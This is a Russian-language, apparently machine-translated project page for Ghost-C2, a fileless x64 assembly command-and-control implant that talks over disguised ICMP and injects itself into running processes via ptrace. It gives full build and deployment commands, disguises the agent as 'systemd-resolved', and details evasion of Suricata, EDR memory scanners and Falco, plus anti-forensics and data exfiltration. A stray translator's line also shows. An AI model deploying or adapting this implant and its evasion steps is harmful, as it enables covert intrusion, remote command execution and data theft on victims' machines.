Ghost-C2

Exploitation v3.0.2 · 17.04.2026 активный

C2-фреймворк, написанный целиком на x64 Linux Assembly без libc. Канал управления — сырые ICMP-пакеты (скрытый трафик под видом ping). Агент живёт исключительно в RAM: нет записей на диск, нет динамических зависимостей, нет таблицы импортов. Маскируется под системный процесс (argv[0] overwrite), обходит Suricata v8.0.3 с ET ruleset. Phantom Loader (v3.6) — PIC shellcode через ptrace-инъекцию в существующий процесс; для маскировки ptrace-события оборачивает вызов в `strace` (LotL — alert flooding против eBPF-сенсоров типа Falco). Все syscalls напрямую через asm (socket, recvfrom, sendto, memfd_create, dup2, execve, fork).

v3.0.2
17.04.2026 current

Установка
# Требования: nasm, GNU ld (binutils), root (raw ICMP socket), Linux x86_64
git clone https://codeberg.org/JM00NJ/ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent
cd ICMP-Ghost-A-Fileless-x64-Assembly-C2-Agent

# Сборка агента (имя ≥15 символов для корректного argv[0]-overwrite)
nasm -f elf64 sniff.asm -o sniff.o && ld sniff.o -o systemd-resolved

# Сборка клиента (на машине атакующего)
nasm -f elf64 client.asm -o client.o && ld client.o -o client

# Развёртывание на цели (root required — raw ICMP socket)
sudo ./systemd-resolved

# Управление с машины атакующего
sudo ./client

# ── Phantom Loader (fileless ptrace injection) ────────────────────────────
cd Phantom_Loader
# Отредактировать loader.asm: вписать имя целевого процесса (hardcoded)
# Сборка загрузчика
nasm -f elf64 loader.asm -o loader.o && ld loader.o -o loader
strip --strip-all loader   # anti-forensics

# Инъекция в существующий процесс (strace = LotL-маскировка ptrace-события)
sudo strace ./loader
показать оригинал переведено ИИ
 ________  ___  ___  ________  ________  _________        ________  ________   

|\   ____\|\  \|\  \|\   __  \|\   ____\|\___   ___\     |\   ____\|\_____  \  
\ \  \___| \ \  \\\  \ \  \|\  \ \  \___|\|___ \  \_|     \ \  \___|\|____|\  \ 
 \ \  \  __ \ \   __  \ \  \\\  \ \_____  \   \ \  \       \ \  \     ____\_\  \
  \ \  \|\  \ \  \ \  \ \  \\\  \|____|\  \   \ \  \       \ \  \___|\____ \  \
   \ \_______\ \__\ \__\ \_______\____\_\  \   \ \__\       \ \______\\_________\
    \|_______|\|__|\|__|\|_______|\_________\   \|__|        \|______\|_________|
                                  \|_________|                                   

Ghost-C2

Безфайловый, чистый C2-имплант на x64 Assembly, использующий ICMP как скрытый канал.
Ноль libc. Ноль диска. Невидимость для стандартных перехватов EDR.

Архитектура Язык Протокол ОС Версия Suricata


Обзор

Ghost-C2 — это фреймворк управления и управления (C2), написанный полностью на чистом x64 Linux Assembly без зависимостей от libc. Каждая операция выполняется через прямые вызовы системных функций (syscalls). Нет таблиц импорта, нет артефактов динамического компоновщика, нет записи на диск.

Канал C2 работает через сырые ICMP-сокеты, маскируясь под стандартный диагностический трафик. Имплант resides исключительно в оперативной памяти (RAM), инжектируется в запущенный системный процесс через пользовательский загрузчик на основе ptrace.

Этот проект был создан для исследования того, как далеко может зайти скрытность пользовательского пространства без вмешательства в ядро.

Архитектура


Архитектура



┌─────────────────────────────────────────────────────────────┐
│                      OPERATOR MACHINE                       │
│                                                             │
│   ┌──────────────┐                                          │
│   │  client.asm  │  ← Terminal UI: prompt for IP + command  │
│   │  (Operator   │    Encrypts payload with Rolling XOR     │
│   │   Console)   │    Sends ICMP Echo Request (Type 8)      │
│   └──────┬───────┘    Auth key: ID + SEQ = 45,000           │
│          │                                                  │
└──────────┼──────────────────────────────────────────────────┘
           │  Raw ICMP (port-less, stateless)
           │
┌──────────┼──────────────────────────────────────────────────┐
│          │             TARGET MACHINE                       │
│          ▼                                                  │
│   ┌──────────────┐     ┌─────────────────────────────────┐  │
│   │  loader.asm  │────▶│         sniff.asm (PIC)         │  │
│   │  (Phantom    │     │         Lives in RAM only       │  │
│   │   Loader)    │     │         inside host process     │  │
│   └──────────────┘     └────────────────┬────────────────┘  │
│                                         │                   │
│   1. Scans /proc for target PID         │ Receives ICMP Req │
│   2. ptrace ATTACH                      │ Validates auth    │
│   3. Force remote mmap (RW)             │ Decrypts command  │
│   4. Inject PIC shellcode               │ fork+execve       │
│   5. mprotect → RX                      │ memfd_create      │
│   6. Redirect RIP → shellcode           │ Compress(DPCM-RLE)│
│   7. ptrace DETACH → exits              │ Encrypt & Frag.   │
│                                         │ Sends ICMP Reply  │
│                                         │ (Auth: 55,000)    │
└─────────────────────────────────────────┼───────────────────┘
                                          │  Raw ICMP + Jitter
                                          ▼
                                   [ client.asm ]
                                   Receives & Validates
                                   Decrypts Payload
                                   Decompresses (Hybrid)
                                   Reassembles & Prints

Компоненты

client.asm — Консоль оператора

Терминал на стороне атакующего. Принимает целевой IP-адрес и команду из stdin, шифрует полезную нагрузку и отправляет её в виде ICMP Echo Request. Прослушивает фрагментированные ICMP Echo Reply и восстанавливает вывод.

sniff.asm — Агент-имплант PIC

Имплант, работающий на целевой машине. Компилируется как сырой бинарный файл (позиционно-независимый, без ELF-заголовков), чтобы его можно было инжектировать в произвольные адреса памяти. Он: - Пассивно слушает на raw ICMP-сокете - Валидирует входящие пакеты с помощью асимметричной суммы ключа - Расшифровывает команду, запускает оболочку (shell), захватывает вывод через memfd_create - Фрагментирует и отправляет обратно в виде 56-байтных ICMP-чанков

Phantom_Loader/loader.asm — Механизм инжекции

Механизм доставки. Сканирует /proc, находит целевой процесс по имени в comm и инжектирует PIC-шеллкод с помощью многофазного конечного автомата на ptrace. После инжекции чисто завершает работу — не оставляя следов.


Техники скрытности и уклонения

Гибридный x64-компрессор DPCM-RLE

Движок передачи данных Ghost-C2 использует гибридный уровень сжатия и кодирования, высокооптимизированный на x86-64 Assembly. Эта архитектура снижает объем данных, обеспечивая при этом естественный профиль трафика.

Дифференциальная кодовая модуляция импульса (DPCM):

Вместо передачи сырых ASCII-значений движок вычисляет и отправляет математическую разность (дельту) между эталонным символом (Anchor) и последующими. Этот метод резко снижает энтропию данных с похожими диапазонами символов.

mov al, byte [rsi]    ; Read new character
mov dl, al
sub al, bl            ; Calculate difference (Delta) from Anchor (bl)
mov r9b, al           ; Save Delta
mov bl, dl            ; Set new Anchor

Кодирование длины серии (RLE):

Работая в тандеме с DPCM, движок RLE упаковывает последовательные пробелы и повторяющиеся блоки разрешений — часто встречающиеся в выводе команд вроде ls -la — на битовом уровне.

.comp_flush:
mov byte [rdi], r8b   ; Write repetition count (Count)
inc rdi
mov byte [rdi], r9b   ; Write Delta value

Скрытность и эффективность:

Оптимизация полосы пропускания: снижает общий объем данных в среднем на 40–55% для текстовых командных выводов (ASCII/UTF-8).

Минимальная сетевая подпись: уменьшая объем данных, количество инжектированных ICMP-пакетов уменьшается вдвое, что значительно снижает риск срабатывания аномальных радаров IDS/IPS.

100% целостность данных: смещения стека строго ограничены безопасной областью памяти (0x100000), а синхронные рассинхронизации устранены. Massive datasets of 20KB+ (например, дампы /etc) надежно передаются без сдвига одного бита.

dpcm-rle-hybrid-x64-compressor: https://github.com/JM00NJ/Vesqer-Baremetal-Compressor-DPCM-RLE-Hybrid-Engine

Имитация протокола

Каждый исходящий ICMP-пакет структурирован так, чтобы быть неотличимым от стандартного Linux ping:

Offset  0-7   : ICMP Header (Type, Code, Checksum, ID, SEQ)
Offset  8-15  : Dynamic RDTSC timestamp  ← mimics struct timeval
Offset 16-31  : 0x10, 0x11 ... 0x1F     ← exact Linux iputils padding
Offset 32+    : Encrypted payload        ← past most DPI scan depth

Сигнатурные движки IDS (Suricata, Snort) видят стандартную заполнитель (padding) и прекращают сканирование, не доходя до полезной нагрузки. Это Стратегическая брешь.

Асимметричная аутентификация

Имплант игнорирует все пакеты, где ID + SEQ ≠ 45,000. Случайные интернет-сканеры, автоматические инструменты безопасности и ханипоты никогда его не активируют. Имплант отвечает пакетами, где ID + SEQ = 55,000, делая два направления математически различными и предотвращая путаницу с ответом ОС.

Скользящий XOR-шифр

Оба направления шифруются с использованием прогрессивно сдвигающегося ключа:

mov dl, 0x42      ; seed
xor [rsi], dl     ; encrypt byte
add dl, 0x07      ; shift key
inc rsi
loop .loop

Это поддерживает низкую энтропию Шеннона — ICMP-трафик, зашифрованный AES, набирает ~8,0 и запускает аномальные предупреждения DPI. Скользящий XOR создает энтропию, похожую на сжатые или естественно зашумленные данные. Никаких криптографических констант, никаких S-боксов, ничего, за что могла бы зацепиться YARA.

Вот исправленный текст с заменой всех непереведённых символов:


Адаптивный джиттер (на основе RDTSC)

Интервалы передачи пакетов рандомизируются с помощью аппаратного счетчика времени процессора (CPU Timestamp Counter), а не программных таймеров. Это создает тайминг-паттерны, которые математически непериодичны — основанные на ML движки NTA (Darktrace, Cisco Stealthwatch) требуют периодичности для фиксации C2-сигналов.

rdtsc
xor rdx, rdx
mov ecx, 900000000
div ecx             ; RDX = случайное значение 0–900 мс
add edx, 100000000  ; минимальное значение 100 мс

Безфайловое выполнение через memfd_create

Вывод команд никогда не попадает на диск:

fork()
  дочерний процесс: dup2(дескриптор памяти, стандартный вывод) → execve("/bin/sh", ["-c", команда])
  родительский процесс: wait4() → lseek(0) → цикл чтения → фрагментация → отправка

Дескриптор памяти называется [общая память], что соответствует формату легитимных отображений общей памяти в /proc/идентификатор_процесса/fd. Стандартный вывод lsof не показывает ничего подозрительного.

Инжекция памяти W^X (Phantom Loader)

Современные смягчающие меры ядра запрещают память RWX. Загрузчик использует двухфазный подход:

Фаза 1: Удалённое отображение памяти с флагами PROT_READ | PROT_WRITE
         → Инжекция шелл-кода через PTRACE_POKEDATA
Фаза 2: Удалённое изменение защиты памяти → PROT_READ | PROT_EXEC
         → Ни одна страница не имеет одновременно прав W и X

Сканеры памяти EDR, ищущие аномалии RWX, ничего не находят.

Маскировка системных вызовов без libc

Все номера системных вызовов разнесены по двум инструкциям для борьбы со статическим анализом и простыми сканерами на основе grep:

; системный вызов memfd_create (319)
mov rax, 300
add rax, 19
syscall

; системный вызов ptrace (101)
mov rax, 99
add rax, 2
syscall

Phantom Loader — цепочка инжекции через ptrace

Загрузчик выполняет детерминированную, многошаговую инжекцию без каких-либо внешних зависимостей:

1. Открытие /proc с помощью системного вызова getdents64
2. Сканирование записей linux_dirent64 на наличие числовых директорий (идентификаторы процессов)
3. Чтение /proc/<идентификатор_процесса>/comm → сравнение с именем цели
4. ptrace(PTRACE_ATTACH, идентификатор_процесса)
5. Цикл wait4() с безветвевым ожиданием (инструкции cmovz/cmovs)
6. PTRACE_GETREGS → сохранение состояния регистров + RIP
7. PTRACE_POKEDATA → запись опкода системного вызова (0x050F) по адресу RIP
8. PTRACE_SETREGS → настройка аргументов mmap в регистрах
9. PTRACE_SINGLESTEP → выполнение удалённого mmap
10. wait4() → PTRACE_GETREGS → чтение возвращаемого значения mmap (новый адрес)
11. Цикл PTRACE_POKEDATA → запись 1444-байтового PIC-пейлоада (по 8 байт за итерацию)
12. PTRACE_SETREGS → настройка mprotect (PROT_READ | PROT_EXEC)
13. PTRACE_SINGLESTEP → выполнение удалённого mprotect
14. PTRACE_POKEDATA → восстановление оригинальных байтов по адресу RIP
15. PTRACE_SETREGS → установка RIP = адрес инжектированного пейлоада
16. PTRACE_DETACH → хост-процесс возобновляет работу с запущенным внутри Ghost-C2

Загрузчик завершает работу сразу после шага 16. Хост-процесс продолжает нормальную работу с запущенным внутри Ghost-C2.

Известное ограничение: Процессы, ограниченные AppArmor или SELinux (в режиме enforce), блокируют mprotect для различных областей памяти. Загрузчик нацелен на неограниченные процессы с правами root, такие как cron или VBoxService. Обход MAC-ограниченных сервисов запланирован для версии v4.x.


Сборка и использование

Предварительные требования

  • NASM (Netwide Assembler)
  • GNU ld (линковщик)
  • Привилегии root (требуются для raw-сокетов и ptrace)

Автономный агент (совместимый с v3.0)

# Сборка агента
nasm -f elf64 sniff.asm -o sniff.o && ld sniff.o -o systemd-resolved

# Сборка клиента
nasm -f elf64 client.asm -o client.o && ld client.o -o client

# Развёртывание (целевая машина)
sudo ./systemd-resolved

# Управление (машина атакующего)
sudo ./client

Совет: Назовите бинарный файл не менее 15 символов (например, systemd-resolved), чтобы предоставить достаточно буфера стека для чистой перезаписи argv[0] без утечки переменных окружения.

Проверка

После развертывания агент исчезает из стандартных списков процессов:

$ ps aux | grep systemd-resolved
root  3887  0.0  0.0  192  16 ?  Ss  19:42  0:00 systemd-resolved

Единственный способ идентифицировать настоящий бинарный файл — через /proc:

$ sudo ls -la /proc/3887/exe
lrwxrwxrwx 1 root root 0 ... /proc/3887/exe -> /path/to/systemd-resolved

Phantom Loader (v3.6)

PIC-шеллкод предварительно скомпилирован и уже встроен в loader.asm. Пересобирайте его только если вы измените исходный код агента:

# (Необязательно) Перекомпиляция PIC-шеллкода после изменения sniff_pic.asm
cd Phantom_Loader
nasm -f bin sniff_pic.asm -o shellcode.bin

# Сборка загрузчика
nasm -f elf64 loader.asm -o loader.o && ld loader.o -o loader

# (Необязательно) Оптимизация бинарного файла и защита от форензики
strip --strip-all loader

# Выполнение (целевой процесс должен быть запущен)
sudo strace ./loader

💡 Примечание по уклонению (Маскировка шума системных вызовов с помощью LotL): Выполнение намеренно обёрнуто с помощью strace. Это использует технику "Живи за счёт земли" (Living off the Land, LotL) для генерации огромного количества легитимного отладочного шума. Заваливая датчики eBPF на уровне ядра (например, Falco) стандартными логами PTRACE_ATTACH, реальная вредоносная инжекция маскируется путём "Заваливания предупреждениями" (Alert Flooding). Это эффективно хоронит одну аномальную инжекцию в море стандартных отладочных операций, часто заставляя механизмы защиты и аналитиков отклонить это событие как ложное срабатывание.

Имя целевого процесса захардкожено в loader.asm. Смотрите встроенные комментарии, чтобы изменить его.


Эмпирические результаты

Тестирование в контролируемой лабораторной среде при активной инспекции трафика:

Тест Результат
Suricata v8.0.3 (набор правил Emerging Threats) ✅ Обойдена
Suricata v8.0.3 (пользовательские правила ICMP payload) ✅ Обойдена
Шлюз DigitalOcean FRA1 ✅ 100% успеха при эксфильтрации
Предупреждения, сгенерированные при эксфильтрации ~25 КБ 0

Справочник по системным вызовам

Ghost-C2 взаимодействует напрямую с ядром Linux. Никаких обёрток, никакой libc:

Системный вызов Номер Использование
sys_socket 41 Создание сырого ICMP-сокета
sys_recvfrom 45 Пассивный захват ICMP-пакетов
sys_sendto 44 Передача ICMP-ответов
sys_memfd_create 319 Анонимный файл в оперативной памяти для вывода
sys_dup2 33 Перенаправление стандартного вывода/ошибок
sys_execve 59 Выполнение команды оболочкой
sys_fork 57 Изоляция процесса
sys_nanosleep 35 Реализация джиттера
sys_ptrace 101 Инжекция в процесс + антиотладка
sys_prctl 157 Маскировка процесса + антидамп
sys_getdents64 217 Парсинг директории /proc
sys_mmap 9 Удалённое выделение памяти
sys_mprotect 10 Переключение разрешений W^X

Дорожная карта

v4.x — Исследование обхода MAC

Основная исследовательская цель — обход процессов, ограниченных AppArmor и SELinux. Текущие кандидаты: - Выполнение на основе ROP с использованием гаджетов из собственной исполняемой памяти целевой программы («Живём за чужой счёт» в памяти) - Динамическое преодоление ASLR для разрешения адресов гаджетов - Полное устранение зависимости от mprotect за счёт выполнения в существующих RX-страницах

Это долгосрочная исследовательская работа. Чистая сборка цепочек ROP на ассемблере с динамическим обнаружением гаджетов — нетривиальная область проблем.


Почему нет интерактивного TTY?

Отсутствие PTY — это архитектурное решение, а не ограничение:

Целостность протокола: ICMP — протокол без установления соединения. Эмуляция упорядоченной доставки, аналогичной TCP, для потока TTY раздула бы кодовую базу и уничтожила бы легковесный дизайн.

Объёмная скрытность: Интерактивная оболочка генерирует ICMP-трафик при каждом нажатии клавиши. Это создаёт обнаруживаемый пик частоты. Ghost-C2 разработан для того, чтобы оставаться ниже порогов обнаружения аномалий.

Поверхность EDR: Выделение PTY требует вызовов /dev/ptmx и ioctl, которые тщательно мониторятся EDR. Создание интерактивной оболочки без легитимного родительского демона оставляет поведенческие артефакты.

Ghost-C2 — это гиперскрытный имплант для выполнения команд и эксфильтрации данных. Интерактивность жертвует невидимостью ради удобства — этот проект выбрал невидимость.


Ресурсы


💖 Поддержите проект

Ghost-C2 создан с страстью, потом и чистым ассемблером x64. Если этот проект помог вам понять низкоуровневое уклонение, имитацию протоколов или просто сделал ваши операции red team более плавными, поддержите разработку!

Ваша поддержка поможет мне купить больше кофе и провести больше бессонных ночей в борьбе с ошибками SIGSEGV, чтобы предоставить вам более чистые, скрытые импланты.

👉 Станьте спонсором на GitHub


⚖️ Отказ от ответственности и лицензия (AGPL-3.0)

Ghost-C2 разработан строго в образовательных целях, для реверс-инжиниринга и авторизованного исследования в области кибербезопасности.

Начиная с версии 3.6.1 и далее, этот проект лицензирован по Общей публичной лицензии GNU Affero версии 3.0 (AGPLv3). Любая сущность, взаимодействующая с этим программным обеспечением или модифицирующая его через сеть, должна раскрыть весь свой исходный код, как того требует лицензия. Коммерческая эксплуатация или интеграция в проприетарные/закрытые платформы строго запрещены.

Авторское право (c) 2026 JM00NJ (commSync). Все права защищены.

Автор не несёт ответственности за любое незаконное использование или ущерб, причинённый этим инструментом. Используйте его на свой страх и риск.

Войдите, чтобы оставить комментарий